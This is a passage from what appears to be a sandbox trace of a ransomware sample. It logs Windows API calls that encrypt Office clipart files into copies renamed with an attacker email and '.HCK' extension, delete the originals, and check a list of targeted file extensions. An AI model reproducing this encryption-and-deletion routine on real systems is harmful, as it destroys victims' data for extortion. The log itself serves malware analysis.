lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x17b0, lpOverlapped=0x0) returned 1 [0155.060] ReadFile (in: hFile=0x364, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0155.060] WriteFile (in: hFile=0x394, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0155.060] SetEndOfFile (hFile=0x394) returned 1 [0155.061] CloseHandle (hObject=0x394) returned 1 [0155.061] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.061] SetEndOfFile (hFile=0x364) returned 1 [0155.062] CloseHandle (hObject=0x364) returned 1 [0155.062] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0155.062] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04117_.wmf")) returned 1 [0155.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68 [0155.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68 [0155.063] lstrlenW (lpString=".doc") returned 4 [0155.063] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0155.063] lstrlenW (lpString=".docx") returned 5 [0155.063] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0155.063] lstrlenW (lpString=".pdf") returned 4 [0155.063] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0155.063] lstrlenW (lpString=".xls") returned 4 [0155.063] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0155.063] lstrlenW (lpString=".xlsx") returned 5 [0155.063] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0155.063] lstrlenW (lpString=".ppt") returned 4 [0155.063] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0155.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68 [0155.063] lstrlenW (lpString=".zip") returned 4 [0155.063] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0155.063] lstrlenW (lpString=".rar") returned 4 [0155.063] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0155.063] lstrlenW (lpString=".bz2") returned 4 [0155.063] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0155.063] lstrlenW (lpString=".7z") returned 3 [0155.063] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0155.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68 [0155.063] lstrlenW (lpString=".dbf") returned 4 [0155.063] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0155.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68 [0155.063] lstrlenW (lpString=".1cd") returned 4 [0155.063] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0155.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68 [0155.063] lstrlenW (lpString=".jpg") returned 4 [0155.063] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0155.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68 [0155.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68 [0155.063] lstrlenW (lpString=".doc") returned 4 [0155.063] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0155.063] lstrlenW (lpString=".docx") returned 5 [0155.063] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0155.063] lstrlenW (lpString=".pdf") returned 4 [0155.063] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0155.063] lstrlenW (lpString=".xls") returned 4 [0155.063] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0155.063] lstrlenW (lpString=".xlsx") returned 5 [0155.063] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0155.063] lstrlenW (lpString=".ppt") returned 4 [0155.064] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0155.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68 [0155.064] lstrlenW (lpString=".zip") returned 4 [0155.064] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0155.064] lstrlenW (lpString=".rar") returned 4 [0155.064] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0155.064] lstrlenW (lpString=".bz2") returned 4 [0155.064] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0155.064] lstrlenW (lpString=".7z") returned 3 [0155.064] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0155.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68 [0155.064] lstrlenW (lpString=".dbf") returned 4 [0155.064] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0155.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68 [0155.064] lstrlenW (lpString=".1cd") returned 4 [0155.064] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0155.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68 [0155.064] lstrlenW (lpString=".jpg") returned 4 [0155.064] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0155.064] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0155.064] lstrlenW (lpString="AN04134_.WMF") returned 12 [0155.064] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04134_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0155.064] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=3416) returned 1 [0155.064] CloseHandle (hObject=0x364) returned 1 [0155.064] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04134_.wmf")) returned 0x220 [0155.064] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04134_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0155.064] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04134_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0155.065] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.065] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.065] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04134_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0155.065] GetLastError () returned 0x0 [0155.065] ReadFile (in: hFile=0x364, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0xd58, lpOverlapped=0x0) returned 1 [0155.066] WriteFile (in: hFile=0x394, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xd60, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xd60, lpOverlapped=0x0) returned 1 [0155.067] ReadFile (in: hFile=0x364, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0155.067] WriteFile (in: hFile=0x394, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0155.067] SetEndOfFile (hFile=0x394) returned 1 [0155.067] CloseHandle (hObject=0x394) returned 1 [0155.068] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.068] SetEndOfFile (hFile=0x364) returned 1 [0155.068] CloseHandle (hObject=0x364) returned 1 [0155.068] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0155.069] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04134_.wmf")) returned 1 [0155.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68 [0155.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68 [0155.069] lstrlenW (lpString=".doc") returned 4 [0155.069] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0155.069] lstrlenW (lpString=".docx") returned 5 [0155.069] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0155.069] lstrlenW (lpString=".pdf") returned 4 [0155.069] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0155.069] lstrlenW (lpString=".xls") returned 4 [0155.069] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0155.069] lstrlenW (lpString=".xlsx") returned 5 [0155.069] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0155.069] lstrlenW (lpString=".ppt") returned 4 [0155.069] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0155.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68 [0155.069] lstrlenW (lpString=".zip") returned 4 [0155.069] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0155.069] lstrlenW (lpString=".rar") returned 4 [0155.069] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0155.069] lstrlenW (lpString=".bz2") returned 4 [0155.069] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0155.069] lstrlenW (lpString=".7z") returned 3 [0155.069] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0155.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68 [0155.069] lstrlenW (lpString=".dbf") returned 4 [0155.069] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0155.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68 [0155.069] lstrlenW (lpString=".1cd") returned 4 [0155.069] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0155.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68 [0155.069] lstrlenW (lpString=".jpg") returned 4 [0155.069] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0155.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68 [0155.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68 [0155.070] lstrlenW (lpString=".doc") returned 4 [0155.070] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0155.070] lstrlenW (lpString=".docx") returned 5 [0155.070] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0155.070] lstrlenW (lpString=".pdf") returned 4 [0155.070] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0155.070] lstrlenW (lpString=".xls") returned 4 [0155.070] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0155.070] lstrlenW (lpString=".xlsx") returned 5 [0155.070] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0155.070] lstrlenW (lpString=".ppt") returned 4 [0155.070] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0155.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68 [0155.070] lstrlenW (lpString=".zip") returned 4 [0155.070] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0155.070] lstrlenW (lpString=".rar") returned 4 [0155.070] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0155.070] lstrlenW (lpString=".bz2") returned 4 [0155.070] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0155.070] lstrlenW (lpString=".7z") returned 3 [0155.070] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0155.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68 [0155.070] lstrlenW (lpString=".dbf") returned 4 [0155.070] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0155.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68 [0155.070] lstrlenW (lpString=".1cd") returned 4 [0155.070] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0155.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68 [0155.070] lstrlenW (lpString=".jpg") returned 4 [0155.070] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0155.070] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0155.070] lstrlenW (lpString="AN04174_.WMF") returned 12 [0155.070] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04174_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0155.070] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=2636) returned 1 [0155.070] CloseHandle (hObject=0x364) returned 1 [0155.071] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04174_.wmf")) returned 0x220 [0155.071] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04174_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0155.071] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04174_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0155.071] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.071] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.071] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04174_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0155.071] GetLastError () returned 0x0 [0155.071] ReadFile (in: hFile=0x364, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0xa4c, lpOverlapped=0x0) returned 1 [0155.072] WriteFile (in: hFile=0x394, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xa50, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xa50, lpOverlapped=0x0) returned 1 [0155.073] ReadFile (in: hFile=0x364, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0155.073] WriteFile (in: hFile=0x394, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0155.073] SetEndOfFile (hFile=0x394) returned 1 [0155.073] CloseHandle (hObject=0x394) returned 1 [0155.074] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.074] SetEndOfFile (hFile=0x364) returned 1 [0155.075] CloseHandle (hObject=0x364) returned 1 [0155.075] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0155.075] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04174_.wmf")) returned 1 [0155.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68 [0155.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68 [0155.075] lstrlenW (lpString=".doc") returned 4 [0155.075] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0155.075] lstrlenW (lpString=".docx") returned 5 [0155.075] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0155.075] lstrlenW (lpString=".pdf") returned 4 [0155.075] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0155.075] lstrlenW (lpString=".xls") returned 4 [0155.075] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0155.075] lstrlenW (lpString=".xlsx") returned 5 [0155.075] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0155.075] lstrlenW (lpString=".ppt") returned 4 [0155.075] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0155.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68 [0155.076] lstrlenW (lpString=".zip") returned 4 [0155.076] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0155.076] lstrlenW (lpString=".rar") returned 4 [0155.076] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0155.076] lstrlenW (lpString=".bz2") returned 4 [0155.076] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0155.076] lstrlenW (lpString=".7z") returned 3 [0155.076] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0155.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68 [0155.076] lstrlenW (lpString=".dbf") returned 4 [0155.076] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0155.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68 [0155.076] lstrlenW (lpString=".1cd") returned 4 [0155.076] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0155.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68 [0155.076] lstrlenW (lpString=".jpg") returned 4 [0155.076] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0155.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68 [0155.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68 [0155.076] lstrlenW (lpString=".doc") returned 4 [0155.076] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0155.076] lstrlenW (lpString=".docx") returned 5 [0155.076] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0155.076] lstrlenW (lpString=".pdf") returned 4 [0155.076] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0155.076] lstrlenW (lpString=".xls") returned 4 [0155.076] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0155.076] lstrlenW (lpString=".xlsx") returned 5 [0155.076] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0155.076] lstrlenW (lpString=".ppt") returned 4 [0155.076] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0155.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68 [0155.076] lstrlenW (lpString=".zip") returned 4 [0155.076] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0155.076] lstrlenW (lpString=".rar") returned 4 [0155.076] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0155.076] lstrlenW (lpString=".bz2") returned 4 [0155.076] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0155.076] lstrlenW (lpString=".7z") returned 3 [0155.076] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0155.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68 [0155.076] lstrlenW (lpString=".dbf") returned 4 [0155.076] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0155.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68 [0155.076] lstrlenW (lpString=".1cd") returned 4 [0155.076] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0155.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68 [0155.076] lstrlenW (lpString=".jpg") returned 4 [0155.076] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0155.077] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0155.077] lstrlenW (lpString="AN04191_.WMF") returned 12 [0155.077] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04191_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0155.077] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=6636) returned 1 [0155.077] CloseHandle (hObject=0x364) returned 1 [0155.077] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04191_.wmf")) returned 0x220 [0155.077] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04191_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0155.077] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04191_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0155.077] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.077] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.077] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04191_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0155.077] GetLastError () returned 0x0 [0155.077] ReadFile (in: hFile=0x364, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x19ec, lpOverlapped=0x0) returned 1 [0155.469] WriteFile (in: hFile=0x394, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x19f0, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x19f0, lpOverlapped=0x0) returned 1 [0155.470] ReadFile (in: hFile=0x364, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0155.470] WriteFile (in: hFile=0x394, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, 